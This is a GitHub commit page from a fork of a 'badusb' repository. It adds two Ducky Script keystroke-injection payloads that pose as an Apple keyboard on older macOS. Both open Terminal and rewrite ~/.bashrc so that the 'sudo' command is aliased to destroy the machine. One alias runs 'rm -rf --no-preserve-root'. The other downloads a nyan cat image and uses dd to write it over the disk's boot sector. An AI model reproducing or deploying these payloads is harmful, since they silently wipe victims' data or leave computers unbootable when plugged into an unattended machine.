forked from FalsePhilosopher/badusb
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
dc38976
commit 16e60a9
Showing
5 changed files
with
70 additions
and
9 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
REM Changes sudo to 'sudo rm -rf / --no-preserve-root' | ||
REM Target OSx 10.14 and below | ||
ID 05ac:021e Apple:Keyboard | ||
DELAY 500 | ||
COMMAND SPACE | ||
DELAY 500 | ||
STRING terminal.app | ||
DELAY 300 | ||
ENTER | ||
DELAY 1000 | ||
STRING nano ~/.bashrc | ||
DELAY 500 | ||
CTRL w | ||
DELAY 150 | ||
STRING alias ls= | ||
ENTER | ||
DELAY 150 | ||
END | ||
ENTER | ||
SPACE | ||
REPEAT 3 | ||
STRING alias sudo='sudo rm -rf --no-preserve-root' | ||
CTRL o | ||
DELAY 150 | ||
ENTER |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
27 changes: 27 additions & 0 deletions
27
destructive/Unix-like/Osx/OSX_no_more_hardriven_nyan_oldOSx.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
REM Author FalsePhilosopher | ||
REM Target OSx 10.14 and below | ||
REM Props SkeletonMan for the idea | ||
REM Changes the sudo alias to write a nyan cat to the hard drive so the computer boots to a nyan cat | ||
ID 05ac:021e Apple:Keyboard | ||
DELAY 500 | ||
COMMAND SPACE | ||
DELAY 500 | ||
STRING terminal.app | ||
DELAY 300 | ||
ENTER | ||
DELAY 1000 | ||
STRING nano ~/.bashrc | ||
DELAY 500 | ||
CTRL w | ||
DELAY 150 | ||
STRING alias ls= | ||
ENTER | ||
DELAY 150 | ||
END | ||
ENTER | ||
SPACE | ||
REPEAT 3 | ||
STRING alias sudo='sudo wget https://github.com/brainsmoke/nyanmbr/blob/master/nyan.img && dd if=nyan.img of=/dev/sda bs=512 count=1' | ||
CTRL o | ||
DELAY 150 | ||
ENTER |